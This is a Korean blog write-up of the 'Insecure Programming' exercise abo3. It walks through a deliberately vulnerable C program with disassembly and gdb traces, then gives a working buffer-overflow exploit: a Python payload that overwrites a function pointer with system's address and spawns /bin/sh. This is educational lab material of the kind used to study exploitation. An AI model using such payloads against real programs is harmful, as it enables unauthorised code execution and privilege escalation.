기본 콘텐츠로 건너뛰기

Insecure-programming-abo3

Insecure-programming-abo3

Insecure Programming by example

Advanced Buffer Overflow 3

int main(int argv, char **argc) {
	extern system, puts;
	void (*fn)(char*)=(void(*)(char*))&system;
	char buf[256];

	fn=(void(*)(char*))&puts;
	strcpy(buf, argc[1]);
	fn(argc[2]);
	exit(1);
}

이전 문제들에 비해 복잡성을 가진 것을 확인할 수 있다.

하나씩 살펴보면 extern 키워드를 이용하여 system함수과 puts함수를 포인터 변수에 선언하는 내용과 두 번째 인자 값(argc[2])를 puts 함수의 인자로 설정하여 호출하는 것을 볼 수 있다.

objdump를 이용하여 어셈블리어를 살펴보자.

08048414 <main>:
 8048414:   55                      push   ebp
 8048415:   89 e5                   mov    ebp,esp
 8048417:   81 ec 28 01 00 00       sub    esp,0x128
 804841d:   83 e4 f0                and    esp,0xfffffff0
 8048420:   b8 00 00 00 00          mov    eax,0x0
 8048425:   29 c4                   sub    esp,eax
 8048427:   c7 45 f4 fc 82 04 08    mov    DWORD PTR [ebp-12],0x80482fc
 804842e:   c7 45 f4 2c 83 04 08    mov    DWORD PTR [ebp-12],0x804832c
 8048435:   8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 8048438:   83 c0 04                add    eax,0x4
 804843b:   8b 00                   mov    eax,DWORD PTR [eax]
 804843d:   89 44 24 04             mov    DWORD PTR [esp+4],eax
 8048441:   8d 85 e8 fe ff ff       lea    eax,[ebp-0x118]
 8048447:   89 04 24                mov    DWORD PTR [esp],eax
 804844a:   e8 cd fe ff ff          call   804831c <strcpy@plt>
 804844f:   8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 8048452:   83 c0 08                add    eax,0x8
 8048455:   8b 00                   mov    eax,DWORD PTR [eax]
 8048457:   89 04 24                mov    DWORD PTR [esp],eax
 804845a:   8b 45 f4                mov    eax,DWORD PTR [ebp-12]
 804845d:   ff d0                   call   eax
 804845f:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048466:   e8 d1 fe ff ff          call   804833c <exit@plt>
 804846b:   90                      nop

프롤로그 후 ebp - 12 위치에 0x80482fc, 0x804832c를 기록하였다. 0x80482fc 기록 후에 위치 이동 없이 0x804832c를 기록하였으므로 0x80482fc는 사용하지 않고 0x804832c를 덮어 쓴 것을 알 수 있다. C 소스 코드로 짐작하건데 0x80482fc는 system 함수 주소, 0x804832c는 puts 함수 주소인 것을 예상할 수 있다.

ebp + 12에서 4만큼 + 이동한 곳에 저장된 값을 eax에 저장하여 + 4 연산 후 해당 위치에 저장된 값을 esp + 4 위치에 값으로 저장하고, ebp - 0x118 에 저장된 값을 esp위치에 기록하여 strcpy함수 인자로 전달하고 있다. 이것으로 ebp + 12에서 4만큼 + 이동한 주소에 arg[1] 주소가 저장되어 있다는 것을 알 수 있다.

ebp + 12에 저장된 값을 eax에 저장하여 + 8 연산 후 해당 위치에 저장된 값을 esp에 저장하고, ebp - 12에 저장된 0x804832c(puts)를 함수 호출하고 있다. 이것으로 ebp+12에서 8만큼 + 이동한 주소에 arg[2] 주소가 저장되어 있다는 것을 알 수 있다.

gdb를 실행하여 추측한 내용이 맞는 지 확인해보자.

(gdb) b main
Breakpoint 1 at 0x804841d
(gdb) set disassembly-flavor intel
(gdb) r 1234 5678
Starting program: /home/iamroot/workspace/abo/3/abo3 1234 5678

Breakpoint 1, 0x0804841d in main ()
(gdb) disas
Dump of assembler code for function main:
0x08048414 <main+0>:    push   ebp
0x08048415 <main+1>:    mov    ebp,esp
0x08048417 <main+3>:    sub    esp,0x128
0x0804841d <main+9>:    and    esp,0xfffffff0
0x08048420 <main+12>:   mov    eax,0x0
0x08048425 <main+17>:   sub    esp,eax
0x08048427 <main+19>:   mov    DWORD PTR [ebp-12],0x80482fc
0x0804842e <main+26>:   mov    DWORD PTR [ebp-12],0x804832c
0x08048435 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048438 <main+36>:   add    eax,0x4
0x0804843b <main+39>:   mov    eax,DWORD PTR [eax]
0x0804843d <main+41>:   mov    DWORD PTR [esp+4],eax
0x08048441 <main+45>:   lea    eax,[ebp-0x118]
0x08048447 <main+51>:   mov    DWORD PTR [esp],eax
0x0804844a <main+54>:   call   0x804831c <strcpy@plt>
0x0804844f <main+59>:   mov    eax,DWORD PTR [ebp+12]
0x08048452 <main+62>:   add    eax,0x8
0x08048455 <main+65>:   mov    eax,DWORD PTR [eax]
0x08048457 <main+67>:   mov    DWORD PTR [esp],eax
0x0804845a <main+70>:   mov    eax,DWORD PTR [ebp-12]
0x0804845d <main+73>:   call   eax
0x0804845f <main+75>:   mov    DWORD PTR [esp],0x1
0x08048466 <main+82>:   call   0x804833c <exit@plt>
End of assembler dump.
(gdb) x/x 0x80482fc
0x80482fc <system@plt>: 0x963825ff
(gdb) x/x 0x804832c
0x804832c <puts@plt>:   0x964425ff
(gdb) x/8s *0xbffff894
0xbffff9c5:      "/home/iamroot/workspace/abo/3/abo3"
0xbffff9e8:      "1234"
0xbffff9ed:      "5678"
0xbffff9f2:      "SSH_AGENT_PID=7009"
0xbffffa05:      "TERM=xterm"
0xbffffa10:      "SHELL=/bin/bash"
0xbffffa20:      "GTK_RC_FILES=/etc/gtk/gtkrc:/home/iamroot/.gtkrc-1.2-gnome2"
0xbffffa5c:      "WINDOWID=20975673"
(gdb) b *main+41
Breakpoint 2 at 0x804843d
(gdb) c
Continuing.

(gdb) x/s $eax
0xbffff9e8:      "1234"
(gdb) b *main+67
Breakpoint 3 at 0x8048457
(gdb) c
Continuing.

Breakpoint 3, 0x08048457 in main ()
(gdb) x/s $eax
0xbffff9ed:      "5678"

프로그램 시 전달한 인자 값에 대한 길이 검증이 존재하지 않으므로 스택에 할당된 buf 배열 공간보다 많은 값을 arg[1] 값으로 설정하여 전달할 시 strcpy함수로 puts 함수 포인터를 덮어쓸 수 있다. (ebp - 0x118 -> ebp -12)

arg[2] 값은 puts 함수 인자 값으로 사용된다. 만약 puts함수 대신 system 함수 설정이 가능하다면 system함수를 이용하여 임의의 시스템 명령어 수행이 가능할 것을 예상할 수 있다.

puts 함수 주소를 system함수 주소로 덮어 쓰는 코드를 작성하여 첫 번째 인자 값으로, "/bin/sh"를 두 번째 인자 값으로 하여 프로그램을 실행해보자.

# python -c "print('\x90'*264+'\xfc\x82\x04\x08')" > arg
# ./abo3 $(cat arg) /bin/sh
sh-3.2$

프로그램에서 “/bin/sh” 명령어를 수행하여 쉘 커멘드 창이 실행된 것을 확인할 수 있다.

gdb를 이용하여 동작 시 메모리 값을 확인해보자. gdb

# gdb -q abo3 
(gdb) b *main+70
Breakpoint 1 at 0x804845a

(gdb) r $(cat arg) /bin/sh
Starting program: /home/iamroot/workspace/abo/3/abo3 $(cat arg) /bin/sh


Breakpoint 1, 0x0804845a in main()
(gdb) x/x $ebp + 12
0xbffff704:     0xbffff784
(gdb) x/s *(0xbffff784 + 4)
0xbffff8dd:      '\220' <repeats 200 times>...
(gdb) x/s *(0xbffff784 + 8)
0xbffff9ea:      "/bin/sh"
(gdb) x/wx $ebp -12
0xbffff6ec:     0x08048300
(gdb) x 0x08048300
0x8048300 <system@plt+4>:       0x08680804
(gdb) c
Continuing.
sh-3.2$

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

American Fuzzy Lop And Address Sanitizer

American Fuzzy Lop And Address Sanitizer Address Sanitizer(ASAN) 단지 gcc/clang에 -fsanitize=address 옵션을 추가하는 것으로 간단히 사용할 수 있지만 그 효과는 충분하다. Example Out Of Bounds Read #include <stdio.h> int main() { int a[ 2 ] = { 3 , 1 }; int i = 2 ; printf ( "%i\n" , a[i]); } 예제 파일을 OutOfBoundsRead.c 로 생성하고 ASAN 옵션을 지정하여 clang 으로 컴파일하자. clang -g -fsanitize = address -fno -omit -frame -pointer OutOfBoundsRead . c -o OutOfBoundsRead 생성된 OutBoundsRead 파일을 실행하면 다음과 같은 결과를 볼 수 있다. ================================================================= ==3678==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0ba87428 at pc 0x47b7db bp 0x7ffc0ba87390 sp 0x7ffc0ba87388 READ of size 4 at 0x7ffc0ba87428 thread T0 ==3678==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x47b7da (/root/ASAN/OutOfBoundsRead+0x47b7da) #1 0x7faba0260f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #2 0x...